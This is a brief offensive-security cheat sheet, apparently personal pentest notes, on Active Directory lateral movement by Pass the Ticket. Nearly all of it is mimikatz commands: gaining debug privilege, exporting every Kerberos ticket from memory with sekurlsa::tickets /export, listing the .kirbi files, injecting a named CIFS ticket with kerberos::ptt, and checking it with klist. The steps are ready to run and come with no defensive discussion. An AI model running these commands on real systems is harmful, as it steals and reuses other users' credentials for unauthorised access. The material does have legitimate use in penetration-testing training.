Lateral Movement Pass The Ticket

Export all tickets on the machine using mimikatz

#active directory#adot8

Pass the Ticket

Export all tickets on the machine using mimikatz

code

01privilege::debug
02sekurlsa::tickets /export
03exit

code

01dir *.kirbi

Back in mimikatz pass the ticket using the tickets name

code

01kerberos::ptt [0;12bd0]-0-0-40810000-adot@cifs-web04.kirbi

code

01klist